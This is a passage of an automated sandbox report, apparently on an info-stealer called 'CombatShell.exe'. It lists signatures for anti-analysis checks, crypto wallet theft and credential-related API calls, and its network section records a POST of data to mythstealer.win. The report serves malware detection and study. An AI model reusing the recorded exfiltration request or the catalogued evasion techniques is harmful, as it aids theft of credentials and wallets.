\"CombatShell.exe\")"],"description_v3":[{"type":"text","value":"Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"SetUnhandledExceptionFilter\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"CombatShell.exe\")"}],"origin":"File/Memory","attck_id":"T1622","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1622","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Anti-Reverse Engineering","identifier":"static-5","type":0,"relevance":10,"name":"PE file contains zero-sized sections","description":"Raw size of \".bss\" is zero","description_v2":["Raw size of \".bss\" is zero"],"description_v3":[{"type":"text","value":"Raw size of \".bss\" is zero"}],"origin":"Static Parser","attck_id":"T1027","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1027","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Cryptographic Related","identifier":"string-213","type":2,"relevance":1,"name":"Contains ability to encrypt/encode message (API string)","description":"Found reference to API \"CryptStringToBinaryA\" (Indicator: \"CryptStringToBinary\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")\n Found reference to API \"EncryptMessage\" (Indicator: \"EncryptMessage\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","description_v2":["Found reference to API \"CryptStringToBinaryA\" (Indicator: \"CryptStringToBinary\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API \"EncryptMessage\" (Indicator: \"EncryptMessage\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"CryptStringToBinaryA\" (Indicator: \"CryptStringToBinary\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"EncryptMessage\" (Indicator: \"EncryptMessage\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1027","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1027","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Cryptographic Related","identifier":"string-212","type":2,"relevance":1,"name":"Contains ability to perform decryption (API string)","description":"Found reference to API \"DecryptMessage\" (Indicator: \"DecryptMessage\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","description_v2":["Found reference to API \"DecryptMessage\" (Indicator: \"DecryptMessage\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"DecryptMessage\" (Indicator: \"DecryptMessage\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1140","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1140","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Cryptographic Related","identifier":"string-280","type":2,"relevance":1,"name":"Contains reference to cryptographic keys","description":"Found string \"ncrypted Private Key\" (Indicator: \"private key\"; Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp, 00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")","description_v2":["Found string \"ncrypted Private Key\" (Indicator: \"private key\"; Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp, 00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")"],"description_v3":[{"type":"text","value":"Found string \"ncrypted Private Key\" (Indicator: \"private key\"; Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp, 00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")"}],"origin":"File/Memory","attck_id":"T1486","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1486","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Cryptographic Related","identifier":"network-60","type":7,"relevance":1,"name":"HTTP requests contain Base64 strings","description":"$2c","description_v2":["Contains base64 string in header \"host\" in header \"GET / HTTP/1.1accept: */*host: api.ipify.org\"","Contains base64 string in header \"POST\" in header \"POST /myth/api HTTP/1.1key: myth-e8552bc3-d60acontent-type: application/octet-streamcontent-length: 5682accept: */*host: mythstealer.win\"","Contains base64 string in header \"1key\" in header \"POST /myth/api HTTP/1.1key: myth-e8552bc3-d60acontent-type: application/octet-streamcontent-length: 5682accept: */*host: mythstealer.win\"","Contains base64 string in header \"myth\" in header \"POST /myth/api HTTP/1.1key: myth-e8552bc3-d60acontent-type: application/octet-streamcontent-length: 5682accept: */*host: mythstealer.win\"","Contains base64 string in header \"e8552bc3\" in header \"POST /myth/api HTTP/1.1key: myth-e8552bc3-d60acontent-type: application/octet-streamcontent-length: 5682accept: */*host: mythstealer.win\"","Contains base64 string in header \"type\" in header \"POST /myth/api HTTP/1.1key: myth-e8552bc3-d60acontent-type: application/octet-streamcontent-length: 5682accept: */*host: mythstealer.win\"","Contains base64 string in header \"host\" in header \"POST /myth/api HTTP/1.1key: myth-e8552bc3-d60acontent-type: application/octet-streamcontent-length: 5682accept: */*host: mythstealer.win\""],"description_v3":[{"type":"text","value":"Contains base64 string in header \"host\" in header \"GET / HTTP/1.1accept: */*host: api.ipify.org\""},{"type":"linebreak"},{"type":"text","value":"Contains base64 string in header \"POST\" in header \"POST /myth/api HTTP/1.1key: myth-e8552bc3-d60acontent-type: application/octet-streamcontent-length: 5682accept: */*host: mythstealer.win\""},{"type":"linebreak"},{"type":"text","value":"Contains base64 string in header \"1key\" in header \"POST /myth/api HTTP/1.1key: myth-e8552bc3-d60acontent-type: application/octet-streamcontent-length: 5682accept: */*host: mythstealer.win\""},{"type":"linebreak"},{"type":"text","value":"Contains base64 string in header \"myth\" in header \"POST /myth/api HTTP/1.1key: myth-e8552bc3-d60acontent-type: application/octet-streamcontent-length: 5682accept: */*host: mythstealer.win\""},{"type":"linebreak"},{"type":"text","value":"Contains base64 string in header \"e8552bc3\" in header \"POST /myth/api HTTP/1.1key: myth-e8552bc3-d60acontent-type: application/octet-streamcontent-length: 5682accept: */*host: mythstealer.win\""},{"type":"linebreak"},{"type":"text","value":"Contains base64 string in header \"type\" in header \"POST /myth/api HTTP/1.1key: myth-e8552bc3-d60acontent-type: application/octet-streamcontent-length: 5682accept: */*host: mythstealer.win\""},{"type":"linebreak"},{"type":"text","value":"Contains base64 string in header \"host\" in header \"POST /myth/api HTTP/1.1key: myth-e8552bc3-d60acontent-type: application/octet-streamcontent-length: 5682accept: */*host: mythstealer.win\""}],"origin":"Network Traffic","attck_id":"T1132","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1132","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Cryptographic Related","identifier":"summary-32","type":15,"relevance":1,"name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: HTTP requests contain Base64 strings","description_v2":["The analysis shows use of encryption and can be used to decode file or information. Matched sigs: HTTP requests contain Base64 strings"],"description_v3":[{"type":"text","value":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: HTTP requests contain Base64 strings"}],"origin":"Indicator Combinations","attck_id":"T1140","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1140","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Cryptographic Related","identifier":"summary-28","type":15,"relevance":1,"name":"Shows ability to obfuscate file or information","description":"$2d","description_v2":["The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains CRYPTO related strings","Matched sigs: Contains ability to use Cryptographic classes","Matched sigs: Contains ability to import cryptographic keys (seen in ransomware)","Matched sigs: Contains ability to encrypt/encode message (API string)","Matched sigs: Tries to steal crypto wallet extension (file access)","Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP","Matched sigs: Calls an API typically used to decrypt a block of data","Matched sigs: Contains reference to cryptographic keys","Matched sigs: Contains ability to use Microsoft's Enhanced Cryptographic Provider","Matched sigs: Calls an API typically used to decrypt the data","Matched sigs: Contains ability to perform decryption (API string)","Matched sigs: Reads the cryptographic machine GUID","Matched sigs: Calls an API typically used to encrypt a block of data","Matched sigs: HTTP requests contain Base64 strings"],"description_v3":[{"type":"text","value":"The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains CRYPTO related strings"},{"type":"linebreak"},{"type":"text","value":"Matched sigs: Contains ability to use Cryptographic classes"},{"type":"linebreak"},{"type":"text","value":"Matched sigs: Contains ability to import cryptographic keys (seen in ransomware)"},{"type":"linebreak"},{"type":"text","value":"Matched sigs: Contains ability to encrypt/encode message (API string)"},{"type":"linebreak"},{"type":"text","value":"Matched sigs: Tries to steal crypto wallet extension (file access)"},{"type":"linebreak"},{"type":"text","value":"Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP"},{"type":"linebreak"},{"type":"text","value":"Matched sigs: Calls an API typically used to decrypt a block of data"},{"type":"linebreak"},{"type":"text","value":"Matched sigs: Contains reference to cryptographic keys"},{"type":"linebreak"},{"type":"text","value":"Matched sigs: Contains ability to use Microsoft's Enhanced Cryptographic Provider"},{"type":"linebreak"},{"type":"text","value":"Matched sigs: Calls an API typically used to decrypt the data"},{"type":"linebreak"},{"type":"text","value":"Matched sigs: Contains ability to perform decryption (API string)"},{"type":"linebreak"},{"type":"text","value":"Matched sigs: Reads the cryptographic machine GUID"},{"type":"linebreak"},{"type":"text","value":"Matched sigs: Calls an API typically used to encrypt a block of data"},{"type":"linebreak"},{"type":"text","value":"Matched sigs: HTTP requests contain Base64 strings"}],"origin":"Indicator Combinations","attck_id":"T1027","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1027","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Environment Awareness","identifier":"string-761","type":2,"relevance":1,"name":"Able to access user sensitive domain","description":"Found string \"META:https://github.com\" (Indicator: \"github.com\"; Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp, 00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")\n Found string \"_https://github.com\" (Indicator: \"github.com\"; Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp, 00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")","description_v2":["Found string \"META:https://github.com\" (Indicator: \"github.com\"; Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp, 00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")","Found string \"_https://github.com\" (Indicator: \"github.com\"; Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp, 00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")"],"description_v3":[{"type":"text","value":"Found string \"META:https://github.com\" (Indicator: \"github.com\"; Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp, 00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found string \"_https://github.com\" (Indicator: \"github.com\"; Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp, 00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")"}],"origin":"File/Memory","attck_id":"T1590","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1590","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Environment Awareness","identifier":"string-661","type":2,"relevance":1,"name":"Able to identify virtual environment by using user activity (API string)","description":"Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"CombatShell.exe\")\n Found string \"GetCursorPos\" (Indicator: \"GetCursorPos\"; File: \"CombatShell.exe\")\n Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")\n Found string \"GetCursorPos\" (Indicator: \"GetCursorPos\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","description_v2":["Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"CombatShell.exe\")","Found string \"GetCursorPos\" (Indicator: \"GetCursorPos\"; File: \"CombatShell.exe\")","Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found string \"GetCursorPos\" (Indicator: \"GetCursorPos\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found string \"GetCursorPos\" (Indicator: \"GetCursorPos\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found string \"GetCursorPos\" (Indicator: \"GetCursorPos\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1497.002","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1497/002","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Environment Awareness","identifier":"string-739","type":2,"relevance":1,"name":"Able to retrieve geographical location information","description":"Found reference to API \"getaddrinfo\" (Indicator: \"getaddrinfo\"; File: \"CombatShell.exe\")\n Found reference to API \"getaddrinfo\" (Indicator: \"getaddrinfo\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","description_v2":["Found reference to API \"getaddrinfo\" (Indicator: \"getaddrinfo\"; File: \"CombatShell.exe\")","Found reference to API \"getaddrinfo\" (Indicator: \"getaddrinfo\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"getaddrinfo\" (Indicator: \"getaddrinfo\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"getaddrinfo\" (Indicator: \"getaddrinfo\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1082","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1082","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Environment Awareness","identifier":"string-721","type":2,"relevance":1,"name":"Able to visualize and control listed components (API string)","description":"Found reference to API \"PostMessageW\" (Indicator: \"postmessage\"; File: \"CombatShell.exe\")\n Found reference to API \"SendMessageW\" (Indicator: \"sendmessage\"; File: \"CombatShell.exe\")\n Found reference to API \"PostMessageW\" (Indicator: \"postmessage\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")\n Found reference to API \"SendMessageW\" (Indicator: \"sendmessage\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","description_v2":["Found reference to API \"PostMessageW\" (Indicator: \"postmessage\"; File: \"CombatShell.exe\")","Found reference to API \"SendMessageW\" (Indicator: \"sendmessage\"; File: \"CombatShell.exe\")","Found reference to API \"PostMessageW\" (Indicator: \"postmessage\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API \"SendMessageW\" (Indicator: \"sendmessage\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"PostMessageW\" (Indicator: \"postmessage\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"SendMessageW\" (Indicator: \"sendmessage\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"PostMessageW\" (Indicator: \"postmessage\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"SendMessageW\" (Indicator: \"sendmessage\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1055.015","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1055/015","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Environment Awareness","identifier":"api-296","type":6,"relevance":3,"name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"CombatShell.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00005644)","description_v2":["\"CombatShell.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00005644)"],"description_v3":[{"type":"text","value":"\"CombatShell.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00005644)"}],"origin":"API Call","attck_id":"T1497","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1497","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Environment Awareness","identifier":"api-294","type":6,"relevance":3,"name":"Attempts to call APIs to gather system and hardware detail","description":"\"CombatShell.exe\" called \"EnumDisplayMonitors\" with parameters (UID: 00000000-00005644)\n \"CombatShell.exe\" called \"GetSystemMetrics\" with parameters (UID: 00000000-00005644)\n \"CombatShell.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00005644)\n \"CombatShell.exe\" called \"QueryPerformanceCounter\" (UID: 00000000-00005644)","description_v2":["\"CombatShell.exe\" called \"EnumDisplayMonitors\" with parameters (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetSystemMetrics\" with parameters (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00005644)","\"CombatShell.exe\" called \"QueryPerformanceCounter\" (UID: 00000000-00005644)"],"description_v3":[{"type":"text","value":"\"CombatShell.exe\" called \"EnumDisplayMonitors\" with parameters (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetSystemMetrics\" with parameters (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"QueryPerformanceCounter\" (UID: 00000000-00005644)"}],"origin":"API Call","attck_id":"T1082","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1082","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Environment Awareness","identifier":"api-297","type":6,"relevance":3,"name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"CombatShell.exe\" called \"GetMonitorInfoW\" with parameters (UID: 00000000-00005644)\n \"CombatShell.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00005644)","description_v2":["\"CombatShell.exe\" called \"GetMonitorInfoW\" with parameters (UID: 00000000-00005644)","\"CombatShell.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00005644)"],"description_v3":[{"type":"text","value":"\"CombatShell.exe\" called \"GetMonitorInfoW\" with parameters (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00005644)"}],"origin":"API Call","attck_id":"T1003","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1003","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Environment Awareness","identifier":"api-146","type":6,"relevance":3,"name":"Calls an API typically used to determine if process is running under WOW64","description":"\"CombatShell.exe\" called \"IsWow64Process\" with parameter \"5644\" - (UID: 00000000-00005644)","description_v2":["\"CombatShell.exe\" called \"IsWow64Process\" with parameter \"5644\" - (UID: 00000000-00005644)"],"description_v3":[{"type":"text","value":"\"CombatShell.exe\" called \"IsWow64Process\" with parameter \"5644\" - (UID: 00000000-00005644)"}],"origin":"API Call","attck_id":"T1057","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1057","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Environment Awareness","identifier":"api-151","type":6,"relevance":3,"name":"Calls an API typically used to get active windows title","description":"\"CombatShell.exe\" called \"GetWindowTextW\" with parameter \"Setup\" - (UID: 00000000-00005644)","description_v2":["\"CombatShell.exe\" called \"GetWindowTextW\" with parameter \"Setup\" - (UID: 00000000-00005644)"],"description_v3":[{"type":"text","value":"\"CombatShell.exe\" called \"GetWindowTextW\" with parameter \"Setup\" - (UID: 00000000-00005644)"}],"origin":"API Call","attck_id":"T1010","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1010","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Environment Awareness","identifier":"api-150","type":6,"relevance":5,"name":"Calls an API typically used to get handle of currently active window","description":"\"CombatShell.exe\" called \"GetActiveWindow\" (UID: 00000000-00005644)","description_v2":["\"CombatShell.exe\" called \"GetActiveWindow\" (UID: 00000000-00005644)"],"description_v3":[{"type":"text","value":"\"CombatShell.exe\" called \"GetActiveWindow\" (UID: 00000000-00005644)"}],"origin":"API Call","attck_id":"T1010","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1010","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Environment Awareness","identifier":"api-124","type":6,"relevance":3,"name":"Calls an API typically used to get product type","description":"\"CombatShell.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00005644)","description_v2":["\"CombatShell.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00005644)"],"description_v3":[{"type":"text","value":"\"CombatShell.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00005644)"}],"origin":"API Call","attck_id":"T1082","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1082","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Environment Awareness","identifier":"api-125","type":6,"relevance":3,"name":"Calls an API typically used to get system version information","description":"$2e","description_v2":["\"CombatShell.exe\" called \"RtlGetVersion\" with parameter 140100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005644)","\"CombatShell.exe\" called \"RtlGetVersion\" with parameter 000000000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005644)","\"CombatShell.exe\" called \"RtlGetVersion\" with parameter 140100000a000000000000005d580000020000000000000000000000f87f00000000eb218c0200000000000000000000020000000000000000000000c2000000000000000000000056c3b46cf87f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000380ddd65f87f000000000000000000001033b46cf87f0000404905268c020000304905268c02000000000000000000007a0cdd65f87f0000404905268c020000404905268c020000404905268c02000000000000000000000000000000000000d0a2bf88c200000000000000000000003b4d586af87f0000304905268c0200001033b46cf87f00003428d7ea (UID: 00000000-00005644)","\"CombatShell.exe\" called \"RtlGetVersion\" with parameter 1c0100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005644)"],"description_v3":[{"type":"text","value":"\"CombatShell.exe\" called \"RtlGetVersion\" with parameter 140100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"RtlGetVersion\" with parameter 000000000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"RtlGetVersion\" with parameter 140100000a000000000000005d580000020000000000000000000000f87f00000000eb218c0200000000000000000000020000000000000000000000c2000000000000000000000056c3b46cf87f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000380ddd65f87f000000000000000000001033b46cf87f0000404905268c020000304905268c02000000000000000000007a0cdd65f87f0000404905268c020000404905268c020000404905268c02000000000000000000000000000000000000d0a2bf88c200000000000000000000003b4d586af87f0000304905268c0200001033b46cf87f00003428d7ea (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"RtlGetVersion\" with parameter 1c0100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005644)"}],"origin":"API Call","attck_id":"T1082","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1082","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Environment Awareness","identifier":"static-190","type":0,"relevance":5,"name":"Calls an APIs used to retrieve geographical location information","description":"Observed import api \"getaddrinfo\" which can be \"used to convert host name to address\" [Source: CombatShell.exe]","description_v2":["Observed import api \"getaddrinfo\" which can be \"used to convert host name to address\" [Source: CombatShell.exe]"],"description_v3":[{"type":"text","value":"Observed import api \"getaddrinfo\" which can be \"used to convert host name to address\" [Source: CombatShell.exe]"}],"origin":"Static Parser","attck_id":"T1082","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1082","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Environment Awareness","identifier":"string-365","type":2,"relevance":1,"name":"Contains ability to perform scheduled transfer (API string)","description":"Found reference to API \"GetSystemTimePreciseAsFileTime\" (Indicator: \"GetSystemTime\"; File: \"CombatShell.exe\")\n Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")\n Found reference to API \"GetSystemTimePreciseAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","description_v2":["Found reference to API \"GetSystemTimePreciseAsFileTime\" (Indicator: \"GetSystemTime\"; File: \"CombatShell.exe\")","Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API \"GetSystemTimePreciseAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"GetSystemTimePreciseAsFileTime\" (Indicator: \"GetSystemTime\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetSystemTimePreciseAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1029","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1029","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Environment Awareness","identifier":"string-193","type":2,"relevance":1,"name":"Contains ability to query volume/memory size (API string)","description":"Found reference to API \"GetDiskFreeSpaceA\" (Indicator: \"GetDiskFreeSpace\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")\n Found reference to API \"GetDiskFreeSpaceW\" (Indicator: \"GetDiskFreeSpace\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","description_v2":["Found reference to API \"GetDiskFreeSpaceA\" (Indicator: \"GetDiskFreeSpace\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API 